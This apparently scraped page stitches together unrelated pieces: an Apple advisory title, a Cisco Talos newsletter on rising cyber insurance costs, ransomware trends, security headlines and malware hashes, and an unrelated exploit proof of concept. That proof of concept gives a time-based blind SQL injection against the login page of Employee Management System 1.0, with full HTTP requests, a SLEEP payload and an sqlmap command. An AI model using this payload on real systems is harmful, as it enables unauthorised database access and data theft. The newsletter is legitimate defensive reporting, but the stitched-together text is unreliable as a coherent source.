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Apple Security Advisory 01-22-2024-1

Cyber insurance premiums are expected to rise this year after leveling out in 2023.

Thursday, January 25, 2024 14:00

I just bought an electric car last week, so I’ve been shopping for new car insurance policies that could offer me a discount for ditching gas. 

We’re all familiar with the boring process of entering the same information 10 times over into 10 different companies’ websites trying to see who comes out the cheapest and offers the best bundles, discounts or deals. 

Unfortunately, with cybersecurity insurance, there are no bundles or “Personal Price Plans” to enroll in, and costs are rising. 

This is nothing to say about whether an organization should get cyber insurance. That is 100 percent their decision to make, and every case is going to be different. But for companies who are interested in getting these types of policies to be best prepared to recover from and deal with a potential security incident, it’s now more expensive than ever to get cyber insurance. 

A report last week from Dark Reading indicated that cyber insurance costs are expected to rise over the next 12 to 24 months. This would be after premiums for these plans rose 50 percent in 2022, according to Bloomberg, though they largely held steady in 2023. 

This problem isn’t isolated to just the U.S., either. A November report from business continuity service Databarracks surveyed companies in the U.K. and found that nearly a third of respondents said their cyber insurance had increased in cost over the past year, while more companies than ever said they had any type of cyber insurance policy, implying a totally new line item for their budgets. 

This rising cost could certainly be attributed to all the classic factors of why anything gets more expensive: market demand, inflation, rising costs of doing business, etc. But an increase in ransomware activity seems to be a large driver, too. 

The same Databarracks survey found that 24 percent of all IT downtime for respondents was due to a cyber incident, up 14 percent from 2018. Thirty-seven percent of all companies said they experienced a ransomware attack in 2023, and more than half experienced some sort of security incident in general. 

As we saw in our most recent Talos Incident Response Quarterly Trends Report, ransomware may rise again after a relatively quiet period from mid-2022 through the summer of 2023. Ransomware, including pre-ransomware activity, was the top observed threat in the fourth quarter of 2023, accounting for 28 percent of engagements, according to Talos IR, a 17 percent increase from the previous quarter. 

That’s not to say that it’s a lock that ransomware attacks are going to be up in 2024, but if they are, cyber insurance policies are only going to get more expensive, which means further shifting budgets for companies of all sizes.  

There is no one-size-fits-all approach for how anyone should approach getting a cybersecurity insurance policy. Still, if companies can’t steady the cost of premiums, it may send executives shopping for other, potentially less effective, methods of preparing for a cyber attack. 

**The one big thing **

Cisco Talos Incident Response (Talos IR) saw a significant increase in ransomware activity in its engagements during the fourth quarter of 2023, while education remains one of the most targeted sectors. Talos IR also observed several brand new ransomware operations for the first time in Q4, including Play, Cactus, BlackSuit and NoEscape. The latest Talos IR Quarterly Trends Report has a full breakdown of the top threats they saw in the wild and an idea of where attacker tactics might be headed in 2024. 

**Why do I care? **

This was the first time in all of 2023 that the rate of ransomware attacks rose during IR engagements. Education and manufacturing were tied for the most targeted verticals, accounting for nearly 50 percent of the total number of incident response engagements, so those industries should note Talos IR’s findings. 

**So now what? **

The lack of MFA remains one of the biggest impediments to enterprise security and led to many of the attacks Talos IR saw in Q4. All organizations should implement some form of MFA, such as Cisco Duo. 

**Top security headlines of the week **

**One of the largest password dumps ever was posted last week to an online forum, seemingly containing more than 25 million login credentials that had never been leaked before.** In all, the collection includes 71 million unique credentials for a range of websites, including the online video game “Roblox,” Yahoo, Facebook and eBay. Though many of these credentials had already been leaked in the past, the user hosting the file claims they all came through an information-stealing malware that collected the usernames and passwords in plain text. Credentials that are stolen via data breaches often contain encrypted passwords. The operator behind the website Have I Been Pwned? first discovered the trove of data earlier this month, but it’s likely been in circulation in various online forums for at least four months. Each line in the dataset, which consists of images and plain text, includes a login URL, the associated account’s name and a password. (Ars Technica, Bleeping Computer) 

**A new report indicates that each Facebook user could be sharing their personal data with thousands of other companies.** The study, conducted by the non-profit Consumer Report, followed more than 700 volunteers’ Facebook accounts and found that, on average, each participant in the study had their data sent to Facebook by 2,230 companies. Some respondents had their data shared with more than 7,000 different companies, and in all, the study captured more than 180,000 organizations that shared data with Facebook. The study was specifically meant to capture “server-to-server” tracking, in which personal data goes from a company’s servers to Meta’s, the parent company of Facebook, servers. The more “traditional” form of tracking for Meta through pixels on other companies’ websites can easily be spotted in a web browser, while server-to-server cannot. The three companies that appeared the most often connected to participants’ accounts in the study were all data brokers, who presumably turned around and sold that data to additional companies for a profit. Consumer Reports listed multiple recommendations for Facebook to improve its data protection, including improving the transparency of Facebook’s data collection tools, making it easier for users to opt out of data sharing and asking the U.S. government to pass data minimization laws. (Consumer Reports, The Markup) 

**Apple released a series of security updates this week for its devices that fixed three vulnerabilities in the WebKit browser engine** that were already being exploited in the wild. One of the vulnerabilities, CVE-2024-23222, is believed to have been exploited in more recent versions of Apple’s mobile operating system iOS. An attacker could exploit this vulnerability to execute remote code on the targeted device. Two other vulnerabilities, CVE-2023-42916 and CVE-2023-42917, were likely exploited in version of iOS dating back to before 16.7.1. The U.S. Cybersecurity and Infrastructure Security Agency added CVE-2024-23222 to its Known Exploited Vulnerabilities (KEV) list. Apple released patches for all its devices, including the Apple TV streaming box, iPad and macOS desktop computers. (SecurityWeek, Computer Weekly) 

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**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** e340aa9f08ce8128e17a3186053bfaf2dc119d98a64f7bc4d37fb7be03365c93   
**MD5:** 5800fc229e3a5f13b32d575fe91b8512   
**Typical Filename:** client32.exe   
**Claimed Product:** NetSupport Remote Control   
**Detection Name:** W32.Riskware:Variant.27dv.1201 

**SHA 256:** 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab   
**MD5:** 4c648967aeac81b18b53a3cb357120f4   
**Typical Filename:** yypnexwqivdpvdeakbmmd.exe   
**Claimed Product:** N/A    
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** 581866eb9d50265b80bae4c49b04f033e2019797131e7697ca81ae267d1b4971   
**MD5:** 4c5fdfd4868ac91db8be52a9955649af   
**Typical Filename:** N/A   
**Claimed Product:** N/A   
**Detection Name:** W32.581866EB9D-100.SBX.TG 

**SHA 256:** 4c3c7be970a08dd59e87de24590b938045f14e693a43a83b81ce8531127eb440   
**MD5:** ef6ff172bf3e480f1d633a6c53f7a35e   
**Typical Filename:** iizbpyilb.bat   
**Claimed Product:** N/A    
**Detection Name:** Trojan.Agent.DDOH 

**SHA 256:** bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a   
**MD5:** 200206279107f4a2bb1832e3fcd7d64c   
**Typical Filename:** lsgkozfm.bat   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd

Why is the cost of cyber insurance rising?

Employee Management System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Employee Management System  - SQLi# Date: 23/03/2024# Exploit Author: Özlem Balcı# Vendor Homepage: https://www.sourcecodester.com# Software Link:https://www.sourcecodester.com/php/16999/employee-management-system.html# Software Download:https://www.sourcecodester.com/download-code?nid=16999&title=Employee+Management+System+using+PHP+and+MySQL# Version: 1.0# Tested on: Mac OS## DescriptionA Time-Based Blind SQL injection vulnerability in the login page(/employee_akpoly/Account/login.php) in Employee Management System allowsremote unauthenticated attackers to execute remote command througharbitrary SQL commands by "txtemail" parameter## Request PoCPOST /employee_akpoly/Account/login.php HTTP/1.1Host: localhostContent-Length: 55Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/employee_akpoly/Account/login.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=1af7jipa5jq7ak8ifd09bgtokfConnection: closetxtemail=test%40test.com&txtpassword=12345A&E&btnlogin=This request causes an error. Adding ' AND (SELECT 2092 FROM(SELECT(SLEEP(11)))DZSD) AND 'yLcd'='yLcd&txtpassword=123456AE to the endof "txtemail" parameter, the response to request was 302 status code withmessage of Found, but 11 seconds later, which indicates that our sleep 11command works.POST /employee_akpoly/Account/login.php HTTP/1.1Host: localhostContent-Length: 117Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/employee_akpoly/Account/login.phpAccept-Encoding: gzip, deflate, brAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: PHPSESSID=1af7jipa5jq7ak8ifd09bgtokfConnection: closetxtemail=test@test.com' AND (SELECT 2092 FROM (SELECT(SLEEP(11)))DZSD) AND'yLcd'='yLcd&txtpassword=123456AE&btnloginsqlmap -r emp.txt --risk=3 --level=3 --dbms=mysql --is-dba --users--privileges --roleParameter: txtemail (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: txtemail=test@test.com' AND (SELECT 2092 FROM(SELECT(SLEEP(5)))DZSD) AND 'yLcd'='yLcd&txtpassword=123456AE&btnlogin=[image:Employee Management System 1.png][image: Employee Management System2.png]

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